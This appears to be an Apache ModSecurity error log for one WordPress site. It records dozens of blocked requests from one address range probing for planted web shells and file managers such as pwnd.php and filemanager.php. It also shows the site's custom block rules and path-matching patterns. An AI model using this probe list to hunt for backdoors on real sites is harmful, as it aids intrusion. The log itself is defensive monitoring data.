[Thu Mar 12 14:22:48.454417 2026] [:error] [pid 11985:tid 12006] [client 37.140.254.26:46537] [client 37.140.254.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/seoplugins/mar.php"] [unique_id "abJbuHcAcNujsOssVDf4oAAAAY8"]
[Thu Mar 12 14:22:50.075209 2026] [:error] [pid 51455:tid 51480] [client 37.140.254.24:50233] [client 37.140.254.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/press/wp-class.php"] [unique_id "abJbupE0YyNxdg6PL_DPWAAAABQ"]
[Thu Mar 12 14:22:51.351084 2026] [:error] [pid 22063:tid 22081] [client 37.140.254.24:23611] [client 37.140.254.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pki-validation/index.php"] [unique_id "abJbu60RUhS-MJyHWLTWjwAAAhA"]
[Thu Mar 12 14:22:52.255312 2026] [:error] [pid 51455:tid 51476] [client 37.140.254.32:53571] [client 37.140.254.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/coffee/index.php"] [unique_id "abJbvJE0YyNxdg6PL_DPXgAAABA"]
[Thu Mar 12 14:22:53.350462 2026] [:error] [pid 51540:tid 51553] [client 37.140.254.31:53917] [client 37.140.254.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/schema/geckos.php"] [unique_id "abJbvWOFFjotMIN2UD200wAAAMs"]
[Thu Mar 12 14:22:54.844414 2026] [:error] [pid 51456:tid 51506] [client 37.140.254.13:22039] [client 37.140.254.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/5PJcpMFsD8B.php"] [unique_id "abJbvhXu8LzVixNGr0tM9wAAAFM"]
[Thu Mar 12 14:22:55.749307 2026] [:error] [pid 51455:tid 51462] [client 37.140.254.21:39305] [client 37.140.254.21] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "abJbv5E0YyNxdg6PL_DPZwAAAAI"]
[Thu Mar 12 14:22:56.848966 2026] [:error] [pid 11986:tid 12018] [client 37.140.254.10:49995] [client 37.140.254.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php"] [unique_id "abJbwDKqY2w-DVCrxTDJIgAAAcA"]
[Thu Mar 12 14:22:57.951101 2026] [:error] [pid 22063:tid 22083] [client 37.140.254.46:31519] [client 37.140.254.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "abJbwa0RUhS-MJyHWLTWkwAAAhI"]
[Thu Mar 12 14:22:59.253055 2026] [:error] [pid 22063:tid 22078] [client 37.140.254.53:63515] [client 37.140.254.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "abJbw60RUhS-MJyHWLTWlgAAAg0"]
[Thu Mar 12 14:23:00.559645 2026] [:error] [pid 11986:tid 12019] [client 37.140.254.41:22703] [client 37.140.254.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twenty/twenty.php"] [unique_id "abJbxDKqY2w-DVCrxTDJKwAAAcE"]
[Thu Mar 12 14:23:01.968913 2026] [:error] [pid 51455:tid 51478] [client 37.140.254.37:48049] [client 37.140.254.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd-1/pwnd.php"] [unique_id "abJbxZE0YyNxdg6PL_DPaAAAABI"]
[Thu Mar 12 14:23:03.376607 2026] [:error] [pid 22063:tid 22087] [client 37.140.254.43:38843] [client 37.140.254.43] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/fonts/fonts.php"] [unique_id "abJbx60RUhS-MJyHWLTWmwAAAhY"]
[Thu Mar 12 14:23:04.343543 2026] [:error] [pid 22063:tid 22073] [client 37.140.254.37:44327] [client 37.140.254.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/Cache/Cache.php"] [unique_id "abJbyK0RUhS-MJyHWLTWnQAAAgg"]
[Thu Mar 12 14:23:05.454811 2026] [:error] [pid 11985:tid 11994] [client 37.140.254.55:22409] [client 37.140.254.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/calmly/issue.php"] [unique_id "abJbyXcAcNujsOssVDf4pwAAAYM"]
[Thu Mar 12 14:23:07.245350 2026] [:error] [pid 11985:tid 12007] [client 37.140.254.39:55689] [client 37.140.254.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/pridmag/db.php"] [unique_id "abJby3cAcNujsOssVDf4qQAAAZA"]
[Thu Mar 12 14:23:08.756337 2026] [:error] [pid 11985:tid 11995] [client 37.140.254.26:39821] [client 37.140.254.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/shell/noimg.php"] [unique_id "abJbzHcAcNujsOssVDf4rAAAAYQ"]
[Thu Mar 12 14:23:09.781043 2026] [:error] [pid 51456:tid 51511] [client 37.140.254.2:46541] [client 37.140.254.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd-2/pwnd.php"] [unique_id "abJbzRXu8LzVixNGr0tM-AAAAFg"]
[Thu Mar 12 14:23:10.637284 2026] [:error] [pid 22063:tid 22075] [client 37.140.254.16:42887] [client 37.140.254.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/schema/yanz.php"] [unique_id "abJbzq0RUhS-MJyHWLTWoQAAAgo"]
[Thu Mar 12 14:23:11.648205 2026] [:error] [pid 8249:tid 8270] [client 37.140.254.17:59187] [client 37.140.254.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/aahana/json.php"] [unique_id "abJbzyK5dL3-8Jdf0M2KmAAAARM"]
[Thu Mar 12 14:23:13.288678 2026] [:error] [pid 8249:tid 8260] [client 37.140.254.4:65445] [client 37.140.254.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/TOPXOH/wDR.php"] [unique_id "abJb0SK5dL3-8Jdf0M2KnQAAAQk"]
[Thu Mar 12 14:23:14.743306 2026] [:error] [pid 8249:tid 8257] [client 37.140.254.16:43143] [client 37.140.254.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "abJb0iK5dL3-8Jdf0M2KnwAAAQY"]
[Thu Mar 12 14:23:16.360309 2026] [:error] [pid 8249:tid 8254] [client 37.140.254.23:54695] [client 37.140.254.23] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/Divi/404.php"] [unique_id "abJb1CK5dL3-8Jdf0M2KoAAAAQM"]
[Thu Mar 12 14:23:18.374030 2026] [:error] [pid 11953:tid 11975] [client 37.140.254.6:54467] [client 37.140.254.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/ubh/ubh.php"] [unique_id "abJb1pudzqsnq3bvtDYJngAAAVQ"]
[Thu Mar 12 14:23:20.468284 2026] [:error] [pid 22063:tid 22069] [client 37.140.254.43:65201] [client 37.140.254.43] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/classwithtostring.php"] [unique_id "abJb2K0RUhS-MJyHWLTWqAAAAgQ"]
[Thu Mar 12 14:23:22.164106 2026] [:error] [pid 51455:tid 51467] [client 37.140.254.44:63639] [client 37.140.254.44] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "abJb2pE0YyNxdg6PL_DPdAAAAAc"]
[Thu Mar 12 14:23:23.551183 2026] [:error] [pid 51455:tid 51463] [client 37.140.254.90:55443] [client 37.140.254.90] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/about.php"] [unique_id "abJb25E0YyNxdg6PL_DPeAAAAAM"]
[Thu Mar 12 14:23:25.065590 2026] [:error] [pid 51540:tid 51554] [client 37.140.254.49:39277] [client 37.140.254.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hello.php"] [unique_id "abJb3WOFFjotMIN2UD204QAAAMw"]
[Thu Mar 12 14:23:26.751650 2026] [:error] [pid 11985:tid 12015] [client 37.140.254.17:33443] [client 37.140.254.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "abJb3ncAcNujsOssVDf4sAAAAZg"]
[Thu Mar 12 14:23:28.666476 2026] [:error] [pid 51540:tid 51555] [client 37.140.254.29:59495] [client 37.140.254.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "abJb4GOFFjotMIN2UD205QAAAM0"]
[Thu Mar 12 14:23:30.455061 2026] [:error] [pid 11986:tid 12023] [client 37.140.254.32:58061] [client 37.140.254.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "abJb4jKqY2w-DVCrxTDJQQAAAcU"]
[Thu Mar 12 14:23:32.068971 2026] [:error] [pid 11986:tid 12036] [client 37.140.254.49:45209] [client 37.140.254.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "abJb5DKqY2w-DVCrxTDJQgAAAdI"]
[Thu Mar 12 14:23:33.363036 2026] [:error] [pid 11986:tid 12025] [client 37.140.254.42:36305] [client 37.140.254.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "abJb5TKqY2w-DVCrxTDJRQAAAcc"]
[Thu Mar 12 14:23:36.568022 2026] [:error] [pid 8249:tid 8255] [client 37.140.254.22:60465] [client 37.140.254.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "abJb6CK5dL3-8Jdf0M2KsAAAAQQ"]
[Thu Mar 12 14:23:38.164935 2026] [:error] [pid 22063:tid 22080] [client 37.140.254.47:48373] [client 37.140.254.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "abJb6q0RUhS-MJyHWLTWsAAAAg8"]
[Thu Mar 12 14:23:40.066166 2026] [:error] [pid 8249:tid 8257] [client 37.140.254.6:60463] [client 37.140.254.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/index.php"] [unique_id "abJb7CK5dL3-8Jdf0M2LGQAAAQY"]
[Thu Mar 12 14:23:42.348558 2026] [:error] [pid 8249:tid 8262] [client 37.140.254.14:62781] [client 37.140.254.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/dropdown.php"] [unique_id "abJb7iK5dL3-8Jdf0M2LIAAAAQs"]
[Thu Mar 12 14:23:43.344169 2026] [:error] [pid 11986:tid 12022] [client 37.140.254.10:41655] [client 37.140.254.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "abJb7zKqY2w-DVCrxTDJSQAAAcQ"]
[Thu Mar 12 14:23:44.252904 2026] [:error] [pid 22063:tid 22080] [client 37.140.254.33:21207] [client 37.140.254.33] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "abJb8K0RUhS-MJyHWLTWxQAAAg8"]
[Thu Mar 12 14:23:45.171459 2026] [:error] [pid 8249:tid 8265] [client 37.140.254.16:36995] [client 37.140.254.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "abJb8SK5dL3-8Jdf0M2LJgAAAQ4"]
[Thu Mar 12 14:23:46.866196 2026] [:error] [pid 22063:tid 22072] [client 37.140.254.28:20111] [client 37.140.254.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/index.php"] [unique_id "abJb8q0RUhS-MJyHWLTWzAAAAgc"]
[Thu Mar 12 14:23:48.565394 2026] [:error] [pid 8249:tid 8267] [client 37.140.254.49:46141] [client 37.140.254.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "abJb9CK5dL3-8Jdf0M2LJwAAARA"]
[Thu Mar 12 14:23:51.878393 2026] [:error] [pid 22063:tid 22079] [client 37.140.254.7:23265] [client 37.140.254.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/dropdown.php"] [unique_id "abJb960RUhS-MJyHWLTW1gAAAg4"]
[Thu Mar 12 14:23:52.793230 2026] [:error] [pid 51455:tid 51462] [client 37.140.254.26:28091] [client 37.140.254.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "abJb-JE0YyNxdg6PL_DPhwAAAAI"]
[Thu Mar 12 14:23:53.866841 2026] [:error] [pid 51455:tid 51469] [client 37.140.254.11:63863] [client 37.140.254.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "abJb-ZE0YyNxdg6PL_DPiAAAAAk"]
[Thu Mar 12 14:23:54.769905 2026] [:error] [pid 8249:tid 8253] [client 37.140.254.7:65219] [client 37.140.254.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "abJb-iK5dL3-8Jdf0M2LMAAAAQI"]
[Thu Mar 12 14:23:56.068818 2026] [:error] [pid 8249:tid 8261] [client 37.140.254.7:25003] [client 37.140.254.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "abJb_CK5dL3-8Jdf0M2LMwAAAQo"]
[Thu Mar 12 14:23:57.147203 2026] [:error] [pid 11986:tid 12041] [client 37.140.254.28:29621] [client 37.140.254.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/fmadmin.php"] [unique_id "abJb_TKqY2w-DVCrxTDJUwAAAdc"]
[Thu Mar 12 14:23:58.475458 2026] [:error] [pid 51455:tid 51468] [client 37.140.254.44:45955] [client 37.140.254.44] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "abJb_pE0YyNxdg6PL_DPigAAAAg"]
[Thu Mar 12 14:23:59.598076 2026] [:error] [pid 8249:tid 8261] [client 37.140.254.8:64943] [client 37.140.254.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/options.php"] [unique_id "abJb_yK5dL3-8Jdf0M2LPwAAAQo"]
[Thu Mar 12 14:24:02.460789 2026] [:error] [pid 51455:tid 51470] [client 37.140.254.41:22921] [client 37.140.254.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "abJcApE0YyNxdg6PL_DPjgAAAAo"]
[Thu Mar 12 14:24:04.053185 2026] [:error] [pid 51455:tid 51471] [client 37.140.254.5:64359] [client 37.140.254.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/about.php"] [unique_id "abJcBJE0YyNxdg6PL_DPkgAAAAs"]
